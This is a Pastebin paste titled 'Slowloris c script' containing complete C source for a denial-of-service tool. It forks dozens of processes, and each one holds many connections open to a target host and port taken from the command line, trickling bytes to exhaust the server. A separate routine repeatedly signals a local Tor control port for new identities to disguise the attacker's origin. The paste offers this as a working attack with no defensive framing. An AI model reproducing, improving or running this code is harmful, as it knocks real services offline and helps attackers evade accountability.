Advertisement
shredded

Slowloris c script

Jul 7th, 2014
860
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.15 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <stdint.h>
  5. #include <unistd.h>
  6. #include <netdb.h>
  7. #include <signal.h>
  8. #include <sys/socket.h>
  9. #include <sys/types.h>
  10. #include <netinet/in.h>
  11. #include <arpa/inet.h>
  12.  
  13. int make_socket(char *host, char *port) {
  14. struct addrinfo hints, *servinfo, *p;
  15. int sock, r;
  16. // fprintf(stderr, "[Connecting -> %s:%s\n", host, port);
  17. memset(&hints, 0, sizeof(hints));
  18. hints.ai_family = AF_UNSPEC;
  19. hints.ai_socktype = SOCK_STREAM;
  20. if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) {
  21. fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(r));
  22. exit(0);
  23. }
  24. for(p = servinfo; p != NULL; p = p->ai_next) {
  25. if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
  26. continue;
  27. }
  28. if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) {
  29. close(sock);
  30. continue;
  31. }
  32. break;
  33. }
  34. if(p == NULL) {
  35. if(servinfo)
  36. freeaddrinfo(servinfo);
  37. fprintf(stderr, "No connection could be made\n");
  38. exit(0);
  39. }
  40. if(servinfo)
  41. freeaddrinfo(servinfo);
  42. fprintf(stderr, "[Spoof Script Slowloris flood :: %s:%s]\n", host, port);
  43. return sock;
  44. }
  45.  
  46. void broke(int s) {
  47. // do nothing
  48. }
  49.  
  50. #define CONNECTIONS 8
  51. #define THREADS 48
  52.  
  53. void attack(char *host, char *port, int id) {
  54. int sockets[CONNECTIONS];
  55. int x, g=1, r;
  56. for(x=0; x!= CONNECTIONS; x++)
  57. sockets[x]=0;
  58. signal(SIGPIPE, &broke);
  59. while(1) {
  60. for(x=0; x != CONNECTIONS; x++) {
  61. if(sockets[x] == 0)
  62. sockets[x] = make_socket(host, port);
  63. r=write(sockets[x], "\0", 1);
  64. if(r == -1) {
  65. close(sockets[x]);
  66. sockets[x] = make_socket(host, port);
  67. } else
  68. // fprintf(stderr, "Socket[%i->%i] -> %i\n", x, sockets[x], r);
  69. fprintf(stderr, "[%i: Holding connection!]\n", id);
  70. }
  71. fprintf(stderr, "[%i: Holding connection!]\n", id);
  72. usleep(300000);
  73. }
  74. }
  75.  
  76. void cycle_identity() {
  77. int r;
  78. int socket = make_socket("localhost", "9050");
  79. write(socket, "AUTHENTICATE \"\"\n", 16);
  80. while(1) {
  81. r=write(socket, "signal NEWNYM\n\x00", 16);
  82. fprintf(stderr, "[%i: cycle_identity -> signal NEWNYM\n", r);
  83. usleep(300000);
  84. }
  85. }
  86.  
  87. int main(int argc, char **argv) {
  88. int x;
  89. if(argc !=3)
  90. cycle_identity();
  91. for(x=0; x != THREADS; x++) {
  92. if(fork())
  93. attack(argv[1], argv[2], x);
  94. usleep(200000);
  95. }
  96. getc(stdin);
  97. return 0;
  98. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement